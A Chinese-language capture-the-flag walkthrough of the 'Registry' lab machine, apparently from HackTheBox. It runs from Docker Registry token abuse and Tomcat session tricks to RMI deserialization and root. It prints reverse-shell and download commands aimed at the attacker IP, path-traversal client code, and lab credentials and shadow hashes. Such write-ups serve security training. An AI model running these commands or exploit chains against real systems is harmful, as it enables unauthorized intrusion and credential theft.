基本信息

端口扫描

22,443,5000,5001:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
$ nmap -sC -sV -Pn 10.10.11.223
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-25 13:23 CST
Nmap scan report for 10.10.11.223
Host is up (0.17s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fa:b0:03:98:7e:60:c2:f3:11:82:27:a1:35:77:9f:d3 (RSA)
| 256 f2:59:06:dc:33:b0:9f:a3:5e:b7:63:ff:61:35:9d:c5 (ECDSA)
|_ 256 e3:ac:ab:ea:2b:d6:8e:f4:1f:b0:7b:05:0a:69:a5:37 (ED25519)
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to https://www.webhosting.htb/
|_http-server-header: nginx/1.14.0 (Ubuntu)
| ssl-cert: Subject: organizationName=free-hosting/stateOrProvinceName=Berlin/countryName=DE
| Not valid before: 2023-02-01T20:19:22
|_Not valid after: 2024-02-01T20:19:22
|_ssl-date: TLS randomness does not represent time
5000/tcp open ssl/http Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=*.webhosting.htb/organizationName=Acme, Inc./stateOrProvinceName=GD/countryName=CN
| Subject Alternative Name: DNS:webhosting.htb, DNS:webhosting.htb
| Not valid before: 2023-03-26T21:32:06
|_Not valid after: 2024-03-25T21:32:06
5001/tcp open ssl/commplex-link?
| ssl-cert: Subject: commonName=*.webhosting.htb/organizationName=Acme, Inc./stateOrProvinceName=GD/countryName=CN
| Subject Alternative Name: DNS:webhosting.htb, DNS:webhosting.htb
| Not valid before: 2023-03-26T21:32:06
|_Not valid after: 2024-03-25T21:32:06
| tls-alpn:
| h2
|_ http/1.1
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Tue, 25 Jul 2023 05:26:29 GMT
| Content-Length: 10
| found
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=utf-8
| Date: Tue, 25 Jul 2023 05:25:56 GMT
| Content-Length: 26
| <h1>Acme auth server</h1>
| HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=utf-8
| Date: Tue, 25 Jul 2023 05:25:57 GMT
| Content-Length: 26
|_ <h1>Acme auth server</h1>
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5001-TCP:V=7.94%T=SSL%I=7%D=7/25%Time=64BF5CE3%P=x86_64-apple-darwi
SF:n22.4.0%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConten
SF:t-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n
SF:400\x20Bad\x20Request")%r(GetRequest,8E,"HTTP/1\.0\x20200\x20OK\r\nCont
SF:ent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Tue,\x2025\x20Jul\
SF:x202023\x2005:25:56\x20GMT\r\nContent-Length:\x2026\r\n\r\n<h1>Acme\x20
SF:auth\x20server</h1>\n")%r(HTTPOptions,8E,"HTTP/1\.0\x20200\x20OK\r\nCon
SF:tent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Tue,\x2025\x20Jul
SF:\x202023\x2005:25:57\x20GMT\r\nContent-Length:\x2026\r\n\r\n<h1>Acme\x2
SF:0auth\x20server</h1>\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20R
SF:equest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\
SF:x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConn
SF:ection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20char
SF:set=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Term
SF:inalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2
SF:0Bad\x20Request")%r(TLSSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20cl
SF:ose\r\n\r\n400\x20Bad\x20Request")%r(Kerberos,67,"HTTP/1\.1\x20400\x20B
SF:ad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConne
SF:ction:\x20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,A7,"
SF:HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-Type:\x20text/plain;\x20cha
SF:rset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Tue,\x2025
SF:\x20Jul\x202023\x2005:26:29\x20GMT\r\nContent-Length:\x2010\r\n\r\nNot\
SF:x20found\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnectio
SF:n:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 224.46 seconds

443

需要加hosts:

1
10.10.11.223 www.webhosting.htb

一个FREE WEB HOSTING:

5000/5001

5000直接访问是空白,5001是Acme auth server:

因为5000端口是空白,搜索测试发现是Docker Registry:

需要认证:

Docker Registry

5000需要认证,5001是auth server,那这两个应该是结合使用的,5001端口进行目录扫描发现auth端点:

1
2
3
gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u "https://10.10.11.223:5001/"  -k

/auth (Status: 200) [Size: 1332]

直接访问得到一个JWT:

根据文档,5000端口使用这个token:

直接使用响应invalid_token,但响应信息中也给出了提示信息,service=”Docker registry”,scope=”registry:catalog:*”:

_catalog

根据前面的响应信息修改auth请求,再次测试,得到hosting-app:

1
2
3
https://webhosting.htb:5001/auth?service=Docker+registry&scope=registry:catalog:*

hosting-app

hosting-app tags

然后就可以根据name生成对应token,再次请求,获取对应repo的tags:

1
2
3
4
5
https://webhosting.htb:5001/auth?service=Docker+registry&scope=repository:hosting-app:pull

https://webhosting.htb:5000/v2/hosting-app/tags/list

latest

##hosting-app manifest

同样修改请求,根据tag获取manifest:

1
https://webhosting.htb:5000/v2/hosting-app/manifests/latest

DockerRegistryGrabber

然后就可以使用已经获得的信息,修改DockerRegistryGrabber,dump对应镜像:

删除代码里的用户名密码选项,设置代理让脚本流量走burp,然后burp添加一条规则添加认证头:

修改后即可dump对应镜像:

1
2
3
export ALL_PROXY=http://127.0.0.1:8080

python3 DockerGraber.py https://webhosting.htb --dump hosting-app

hosting-app

得到的其中一个压缩包中,得到一个tomcat war包:

1
2
3
4a19a05f49c2d93e67d7c9ea8ba6c310d6b358e811c8ae37787f21b9ad82ac42.tar.gz

/usr/local/tomcat/webapps/hosting.war

reconfigure

根据代码,需要session中有s_IsLoggedInUserRoleManager才能进入reconfigure,而又因为是nginx加tomcat的搭配,可以利用这种方式进入session页面:

1
hosting/WEB-INF/classes/com/htb/hosting/services/ConfigurationServlet.class
1
https://www.webhosting.htb/hosting/..;/examples/servlets/servlet/SessionExample

所以可以自己设置s_IsLoggedInUserRoleManager,然后进入reconfigure页面:

提交修改,可以任意添加参数,例如修改mysql.host可以收到请求:

EditFileSessionManager LFI

另外EditFileSessionManager中可以知道编辑文件也是通过session,并且得到session name格式:

1
hosting/WEB-INF/classes/com/htb/hosting/utils/edits/EditFileSessionManager.class

结合hosts那边得到的文件名修改session对应的实际文件路径值,可以达成LFI效果(实际上后面也没用到这部分):

/etc/hosting.ini

Hosting.ini中可以得到mysql密码(也是一样,后面不需要这部分):

1
2
3
4
5
6
7
8
9
#Mon Jan 30 21:05:01 GMT 2023
mysql.password=O8lBvQUBPU4CMbvJmYqY
rmi.host=registry.webhosting.htb
mysql.user=root
mysql.port=3306
mysql.host=localhost
domains.start-template=<body>\r\n<h1>It works\!</h1>\r\n</body>
domains.max=5
rmi.port=9002

RMI

代码中也可以发现RMI相关的:

1
hosting/WEB-INF/classes/com/htb/hosting/rmi/RMIClientWrapper.class

存在简单的校验,基础的00即可绕过:

RMI shell

现在的场景是我们能够控制rmi server,那就可以向客户端发送恶意数据打反序列化:

简单测试发现可以执行命令(没有curl那些,wget可以):

1
java -jar rmg-4.4.1-jar-with-dependencies.jar listen --yso  ysoserial-master-SNAPSHOT.jar 10.10.14.7 9002 CommonsCollections6 'wget 10.10.14.7:7777/test'

reverse shell

有nc并且支持-e参数,直接reverse shell,打到app用户,在一个docker容器中,app用户并不能ssh登录,后续操作还是只能通过这个reverse shell:

1
2
3
4
java -jar rmg-4.4.1-jar-with-dependencies.jar listen --yso  ysoserial-master-SNAPSHOT.jar 10.10.14.7 9002 CommonsCollections6 'nc 10.10.14.7 4444 -e /bin/bash'

# 上面的shell里也看不到报错信息,再来一个shell就行了
/bin/bash -i >& /dev/tcp/10.10.14.7/4444 0>&1

RMIClient

前面可以看到rmi连接registry.webhosting.htb,查看hosts可以知道这是本地服务:

需要自己写一个RMIClient来利用Fileservice查看目录,读取文件,代码附在后面了,注意包名需要一致,其他代码就是直接复制,RMIClientWrapper简单改一下去掉setting那些,直接指定host和端口,然后自定义RMIClient,第一个参数用到的vhost id是自己在443端口主站创建domain后分配的id,list用来查看目录,view用来读取文件,从/etc/passwd知道developer用户,然后再去看对应目录,最终得到一组账号密码:

(view函数有重载,可以不写vhostid,这样文件名需要是加密的,直接用CryptUtil就行)

1
https://irogir:qybWiMTRg0sIHz4beSTUzrVIl7t3YsCj9@github.com

RMIClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.htb.hosting.rmi;

import java.util.List;
import java.util.logging.Logger;


public class RMIClient {

private static final Logger log;
public static void main(String[] args) {
try {
// Obtaining an instance of the remote service using RMIClientWrapper
FileService fileService = RMIClientWrapper.get();

// Calling the remote method to get the list of files in a directory
String directory = "../../../../../../home/developer";
List<AbstractFile> fileList = fileService.list("27580bb0f0ab", directory);

// Scroll through the list of files and display their names
for (AbstractFile file : fileList) {
System.out.println(file.getDisplayName());
}

// Calling the remote method to read a file
// String filename = "../../../../../home/developer/.git-credentials";
// byte[] fileData = fileService.view("42332fd384df", filename);
String filename = "../../../../../home/developer/.git-credentials";
byte[] fileData = fileService.view(CryptUtil.getInstance().encrypt(filename));

// Do whatever you need to do with the file data (e.g. save it to disk).
// Here we assume that the file contains text, you can adjust it according to your case
String content = new String(fileData);
System.out.println("File contents:");
System.out.println(content);
} catch (Exception e) {
e.printStackTrace();
}
}
static {
log = Logger.getLogger(RMIClient.class.getSimpleName());
}
}

user flag

得到的密码就是developer用户密码,直接ssh登录:

quarantine

简单枚举发现两个jar,registry.jar是rmi server,其中还提供了quarantine registry,quarantine.jar会去调用它:

1
2
/opt/registry.jar
/usr/share/vhost-manage/includes/quarantine.jar

分析代码可以知道quarantine registry只有一个用来获取配置信息的函数,quarantine.jar使用clamav根据获取到的配置信息进行操作:

根据代码,大概流程就是quarantine.jar从rmi获取配置信息,使用clamav对monitorDirectory进行相关操作,目标目录是quarantineDirectory

那如果我们能够控制提供的配置信息呢,就可以尝试任意输入目录和输出目录

并且根据代码,源文件路径信息会通过socket发到配置文件中指定的server,所以host也改为我们自己的,开启监听,来根据接收到的信息获取输入目录中的文件名:

rmi server 劫持

修改代码,只需要修改QuarantineServiceImpl中提供的参数即可:

1
private static final QuarantineConfiguration DEFAULT_CONFIG = new QuarantineConfiguration(new File("/tmp/miao"), new File("/root"), "10.10.14.7", 3310, 1000);

然后因为原本服务在运行中,使用while循环尝试进行劫持:

1
2
3
4
5
# target
while true; do java -jar registry.jar; done

# local
while true; do nc -nvlp 3310; done

等待劫持服务成功,并且等待root自动运行quarantine.jar获取我们修改后的配置:

我们的监听中也到了源目录中的文件路径:

然后就能够在我们修改的目标目录中得到修改的monitorDirectory中的文件,同样是在.git-credentials文件中得到密码:

1
2
3
4
5
6
7
zSCAN /root/.git-credentialsConnection from 10.10.11.223:51204

developer@registry:/tmp/miao$ find . -name "*.git-credentials"
./quarantine-run-2023-07-27T17:24:11.423083289/_root_.git-credentials

developer@registry:/tmp/miao$ cat ./quarantine-run-2023-07-27T17:24:11.423083289/_root_.git-credentials
https://admin:52nWqz3tejiImlbsihtV@github.com

root flag

得到的密码切换到root:

shadow

1
2
root:$6$13hvGW.I$YCuyWm/Tie7PQpD00mvvjyRKAzUEOuE.ULQ/UvZkfnMi4fN2Vt2SnWO2GPKqfEwRvAXbFQ1TG1JpbC1b261T9/:19390:0:99999:7:::
developer:$6$MPEALFQe$cy7lXWBscuGcwsbmi.z6KGpb1KwNgx0.fWtGWRzmi4YCj5tSpGN5jz4wWdfFUyQmsIsoevW7CkWU3YIrH0eqC1:19443:0:99999:7:::

参考资料